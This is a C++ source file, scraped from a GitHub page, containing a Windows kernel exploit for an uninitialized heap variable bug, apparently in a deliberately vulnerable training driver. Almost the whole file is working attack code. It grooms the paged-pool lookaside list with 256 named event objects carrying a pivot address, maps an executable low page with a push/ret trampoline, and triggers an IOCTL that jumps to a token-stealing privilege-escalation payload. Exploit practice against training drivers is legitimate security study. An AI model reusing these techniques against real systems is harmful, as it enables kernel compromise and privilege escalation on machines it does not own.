-
-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathUninitializedHeapVariable.cpp
256 lines (199 loc) · 7.53 KB
/
UninitializedHeapVariable.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
#include "UninitializedHeapVariable.h"
bool
ExploitUninitializedHeapVariable::exploit() {
// This object's size is: 0xF0 (240) bytes
struct UninitializedHeapVariableObject {
DWORD unknown;
void *callback;
char fill[232];
};
UninitializedHeapVariableObject obj;
memset(&obj, 0, sizeof(obj));
obj.unknown = 0xDEADBABE;
// Step 1:
// We have to wait for the Kernel Pool lookaside lists to initialize,
// what occurs after two minutes since system boot.
wcout << L"[+] Step 1: Assure that kernel pool lookaside lists are lazy-activated." << endl;
/* Step 2:
by Ashfaq Ansari:
Next stage of exploitation is to make sure that _KPRCB.PPPagedLookasideList[0x1E]
((((0xF0+0xF) >> 3) - 1) = 0x1E) is populated.
If the payload address contains NULL, then the exploitation will fail. So, make sure
there is no NULL in the payload address.
*/
wcout << L"[+] Step 2: Populating _KPRCB.PPPagedLookasideList[0x1e] ..." << endl;
const PVOID payload = tokenStealingPayloadRealPointer;
if(!populateLookasideList(payload) ) {
return false;
}
/* Step 3:
Now that the PagedPool is groomed (allocated contiguosly with every 8th chunk having a hole
of size 0xF0 - the very next PagedPool allocation shall be yielded from Lookaside List for
block size of 0x1E, thus returning our pre-crafted object!
*/
wcout << L"[+] Step 3: Let's hope, the next allocation takes off from lookaside!" << endl;
bool ret = driver.SendIOCTL (
ExploitUninitializedHeapVariable::Ioctl_Code,
&obj,
sizeof(obj)
);
return ret;
}
void
ExploitUninitializedHeapVariable::waitForLookasideLists() {
static const ULONG Two_Minutes_Ticks = 2 * 60 * 10000 + 100;
const ULONG ticks1 = GetTickCount();
if (ticks1 > Two_Minutes_Ticks) {
return;
}
else {
const ULONG diff = Two_Minutes_Ticks - ticks1;
wcout << L"[.] Have to wait " << diff / 1000 << L" seconds for Kernel pools Lookaside lists to activate."
<< endl;
Sleep(diff);
}
}
bool
ExploitUninitializedHeapVariable::populateLookasideList(PVOID payload) {
ULONG pivotAddress = mapUnicodePivotPage(payload);
if(!pivotAddress) {
return false;
}
/*
by Ashfaq Ansari:
We know that each bucket in LookAsideList can not hold more than 256 free chunks.
As we are dealing with Named Objects, one of the caveat is, if same static string
is passed to consecutive calls to Object constructor as Object Name, then only one
Pool chunk will be served for all the requests. This will not allow us to populate
LookAsideList and the exploitation will fail.
To overcome this issue, we need to make sure that the string is random for each call
to Object constructor.
So, to populate the LookAsideList, allocate 256 objects of same size and then free them.
*/
shared_ptr<HANDLE> eventObjects(
new HANDLE[Max_Chunks_In_Lookaside_List_Bucket],
[](HANDLE *ptr) {
for(size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i++) {
HANDLE obj = ptr[i];
if(obj != reinterpret_cast<HANDLE>(0)) {
CloseHandle(obj);
}
}
delete [] ptr;
}
);
if(!eventObjects) {
throw bad_alloc();
}
HANDLE *eventObjectsPtr = eventObjects.get();
wcout << L"\t[+] Allocating " << dec << Max_Chunks_In_Lookaside_List_Bucket
<< L" PagedPool chunks via CreateEventW" << endl;
for(size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i++) {
// Random event name generation
unsigned char name[Max_Object_Name_Length] = {0};
for(size_t j = 0; j < Max_Object_Name_Length - 4; j++) {
name[j] = random('A', 'Z');
}
// fix the shellcode trampoline:
name[4] = (pivotAddress & 0xFF);
name[5] = (pivotAddress & 0xFF00) >> 8;
name[6] = (pivotAddress & 0xFF0000) >> 16;
name[7] = (pivotAddress >> 24);
/*
The allocated chunk for the event's name will contain the following data:
Chunk+0x00: WW XX YY ZZ AA BB CC DD EE FF GG HH II JJ...
Where :
XX YY - are the first two bytes of the event's name
AA BB CC DD EE FF - are the consecutive bytes from the event's name
Event's name:
\xXX\xYY\xAA\xBB\xCC\xDD\xEE\xFF - where AA,BB,CC are not values, but rather "unknowns".
The first four bytes will not be interesting for us, those are:
WW XX YY ZZ,
(by the way, they will got clobbered - and then zero out - by SLINK_ENTRY.Flink after
putting the chunk into lookaside list for 0x1e bucket) but rather the following four bytes:
AA BB CC DD
will be essential, since they will constitute register-indirect call:
call [eax + 4] ; call into 0xAABBCCDD
There will be placed our PIVOT page with the trampoline leading into kernel shellcode.
*/
eventObjectsPtr[i] = CreateEventW(
nullptr,
false,
false,
// We have constructed an ASCII string buffer, but pretend it is UNICODE - to avoid
// destructible null-padding conversion.
reinterpret_cast<LPCWSTR>(name)
);
if(!eventObjectsPtr[i]) {
wcout << L"[!] Could not create event! Error: " << GetLastError() << endl;
return false;
}
}
wcout << L"\t[+] Kernel PagedPool grooming by freeing every 8th chunk" << endl;
for( size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i += 1 ) {
CloseHandle(eventObjectsPtr[i]);
eventObjectsPtr[i] = static_cast<HANDLE>(0);
}
return true;
}
ULONG
ExploitUninitializedHeapVariable::mapUnicodePivotPage(PVOID payload) {
NTSTATUS stat;
ULONG pivotAddress;
PVOID baseAddress = NULL;
bool mapped = false;
ULONG regionSize = 0x1000;
typeNtAllocateVirtualMemory NtAllocateVirtualMemory;
NtAllocateVirtualMemory = reinterpret_cast<typeNtAllocateVirtualMemory>(GetProcAddress(
GetModuleHandleW(L"ntdll.dll"),
"NtAllocateVirtualMemory"
));
static const size_t Max_Attempts = (1 << 15) - 1;
size_t attempt = 0;
while(!mapped && attempt++ < Max_Attempts) {
// random pivot page address, form of: 0x00xx00yy
pivotAddress = random(0x41, 0x4f);
pivotAddress |= random(0x31, 0x3f) << 8;
pivotAddress |= random(0x21, 0x2f) << 16;
pivotAddress |= random(0x11, 0x1f) << 24;
baseAddress = reinterpret_cast<PVOID>(pivotAddress);
stat = NtAllocateVirtualMemory (
reinterpret_cast<HANDLE>(0xffffffff),
&baseAddress,
0,
®ionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
if(NT_SUCCESS(stat)) {
mapped = true;
break;
}
}
if (!mapped) {
wcout << L"[!] Could not allocate suitable low-address page, addr: "
<< hex << setw(8) << setfill(L'0') << pivotAddress << L"!" << endl;
wcout << L"\tAttempts: " << dec << attempt << L", Status: " << hex << setw(8) << setfill(L'0') << stat << endl;
return 0;
}
wcout << L"\t[+] Mapped Pivot page at address: " << hex << setw(8)
<< setfill(L'0') << baseAddress << endl;
// Setting trampoline:
// 68 AA BB CC DD PUSH kernel_shellcode_address
// C3 RET
unsigned char trampoline[] = {
0x68,
0xaa, 0xbb, 0xcc, 0xdd,
0xc3
};
*(reinterpret_cast<DWORD*>(&trampoline[1])) = reinterpret_cast<DWORD>(payload);
wcout << L"\t[+] Setting trampoline at pivot page leading to: " << hex << setfill(L'0') << setw(8)
<< payload << endl;
// copy the trampoline into pivot page
memcpy (
reinterpret_cast<void*>(pivotAddress),
trampoline,
sizeof(trampoline)
);
return pivotAddress;
}